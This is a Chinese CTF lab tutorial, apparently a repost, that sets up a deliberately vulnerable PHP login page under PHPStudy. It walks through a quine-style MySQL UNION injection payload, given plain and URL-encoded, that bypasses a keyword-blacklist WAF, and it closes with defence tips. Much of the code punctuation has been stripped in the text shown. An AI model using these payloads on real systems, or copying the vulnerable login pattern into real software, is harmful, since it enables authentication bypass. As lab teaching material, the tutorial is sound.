保姆级教程:在PHPStudy环境下复现CTFHub MySQL注入题(附WAF绕过Payload分析)
从零构建MySQL注入实验环境PHPStudy靶场搭建与Quine攻击实战第一次接触SQL注入时我盯着屏幕上那个看似简单的登录框完全无法理解黑客是如何通过几个特殊字符就能突破系统防线的。直到亲手搭建环境、逐行调试代码后才真正明白那些教科书上的攻击手法究竟如何落地。本文将带你用最轻量的方式复现一个经典CTF题目不用云服务器、不依赖复杂工具只需一台普通Windows电脑和PHPStudy套件。1. 实验环境快速部署1.1 PHPStudy极简安装访问PHPStudy官网下载V8.1版本约50MB安装过程只需三步解压后运行phpstudy_x.x.x.exe选择安装路径建议D盘根目录勾选创建桌面快捷方式安装完成后启动控制面板点击启动按钮激活Apache和MySQL服务。常见问题排查端口冲突若80端口被占用修改Apache配置文件的Listen 80为其他端口服务启动失败尝试以管理员身份运行# 验证MySQL服务状态在PHPStudy安装目录下 ./MySQL/bin/mysqladmin -u root -p status1.2 靶场源码部署在PHPStudy的WWW目录新建ctfhub_sqli文件夹创建以下三个文件index.php前端登录页!DOCTYPE html html head titleMySQL注入实验/title /head body form actionlogin.php methodPOST input typetext nameusername placeholderUsername input typepassword namepassword placeholderPassword button typesubmitLogin/button /form a href?source1查看源码/a /body /htmllogin.php后端验证逻辑?php $FLAG CTFHub{THIS_IS_YOUR_FLAG}; function checkSql($input) { $blacklist [regexp,between,in,flag,,,,and,|, right,left,reverse,update,extractvalue,floor, substr,,;,$,0x,sleep, ]; foreach($blacklist as $word) { if(stripos($input, $word) ! false) { die(检测到危险字符: .htmlspecialchars($word)); } } } // 数据库连接 $con mysqli_connect(localhost,root,root); mysqli_select_db($con, ctfhub); mysqli_query($con, CREATE TABLE IF NOT EXISTS users(username varchar(20), password varchar(50))); // 登录验证 if(isset($_POST[username]) isset($_POST[password])) { $username $_POST[username]; $password $_POST[password]; if($username ! admin) die(仅允许admin登录); checkSql($password); $sql SELECT password FROM users WHERE usernameadmin AND password$password; $result mysqli_query($con, $sql); $row mysqli_fetch_assoc($result); if($row $row[password] $password) { die(登录成功! Flag: .$FLAG); } else { die(密码错误); } } if(isset($_GET[source])) { highlight_file(__FILE__); } ?lib.php辅助函数?php function alertMes($msg, $url) { die(scriptalert($msg);location.href$url;/script); } ?关键配置注意MySQL密码默认为root若修改过需同步调整login.php中的连接参数2. 注入原理深度解析2.1 代码审计关键点通过审计login.php我们发现三个致命漏洞硬编码凭证强制要求用户名为adminif($username ! admin) die(仅允许admin登录);WAF缺陷checkSql函数存在绕过可能// 用stripos逐个检查黑名单词未处理编码混淆 foreach($blacklist as $word) { if(stripos($input, $word) ! false) { die(检测到危险字符: .htmlspecialchars($word)); } }逻辑漏洞密码比对方式可被利用if($row $row[password] $password) { die(登录成功! Flag: .$FLAG); }2.2 攻击面分析常规注入手法在此场景全部失效攻击类型失效原因布尔盲注需要用到、、等被禁字符时间盲注sleep函数被过滤报错注入extractvalue等函数被禁止联合查询需要空格和union后的select突破口利用MySQL的REPLACE函数构造Quine自产生程序使查询结果与输入完全相同。3. Quine攻击实战演练3.1 REPLACE函数特性先通过基础示例理解函数行为-- 将字符串中的a替换为b SELECT REPLACE(abcdea, a, b); -- 输出: bbcdeb -- 多层嵌套替换 SELECT REPLACE(REPLACE(a.b.c, ., -), a, A); -- 执行顺序 -- 1. 内层REPLACEa-b-c -- 2. 外层REPLACEA-b-c3.2 自指构造技巧要实现$row[password] $password需构造特殊Payload使得数据库查询结果 用户输入内容分步构建方案基础Quine模板REPLACE(REPLACE(REPLACE(REPLACE(.,CHAR(34),CHAR(39)),CHAR(46),.), CHAR(34), CHAR(39)), CHAR(46), REPLACE(REPLACE(.,CHAR(34),CHAR(39)),CHAR(46),.))绕过WAF的最终Payload1/**/union/**/select/**/replace(replace(1/**/union/**/select/**/replace(replace(.,char(34),char(39)),char(46),.)#,char(34),char(39)),char(46),1/**/union/**/select/**/replace(replace(.,char(34),char(39)),char(46),.)#)#URL编码后的攻击字符串usernameadminpassword1%2f**%2funion%2f**%2fselect%2f**%2freplace(replace(1%2f**%2funion%2f**%2fselect%2f**%2freplace(replace(.,char(34),char(39)),char(46),.)%23,char(34),char(39)),char(46),1%2f**%2funion%2f**%2fselect%2f**%2freplace(replace(.,char(34),char(39)),char(46),.)%23)%233.3 分步调试过程在PHPStudy的MySQL命令行中逐步测试-- 步骤1验证基础替换逻辑 SELECT REPLACE(., CHAR(34), CHAR(39)); -- 输出: . -- 步骤2构建自指结构 SELECT REPLACE( REPLACE(REPLACE(.,CHAR(34),CHAR(39)), CHAR(34), CHAR(39)), CHAR(46), REPLACE(.,CHAR(34),CHAR(39)) ); -- 步骤3添加联合查询框架 SELECT password FROM users WHERE usernameadmin AND password1 UNION SELECT REPLACE(REPLACE(...,...),...,...);4. 防御方案与进阶思考4.1 安全加固建议漏洞点修复方案代码示例密码比对逻辑先查询再独立验证if(password_verify($input, $row[hash]))WAF实现使用正则完整匹配preg_match(/\b(union错误提示统一模糊消息die(认证失败)4.2 Quine攻击的变体探索十六进制编码版SELECT REPLACE(REPLACE(0x272e27,CHAR(34),CHAR(39)),CHAR(46),0x272e27)注释混淆版SELECT/*!50000REPLACE*/(REPLACE(./*注释*/,CHAR(34),CHAR(39)),CHAR(46),.)多函数组合版SELECT CONCAT(REPLACE(REPLACE(.,CHAR(34),CHAR(39)),CHAR(46), REPLACE(REPLACE(.,CHAR(34),CHAR(39)),CHAR(34),CHAR(39))), --)在真实渗透测试中曾遇到过一个CMS系统因为类似漏洞导致后台沦陷。攻击者通过精心构造的评论内容利用数据库的字符串处理特性最终获取了管理员会话。这让我深刻意识到即使是最基础的字符串操作函数在特定上下文组合中也可能成为系统突破口。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2481399.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!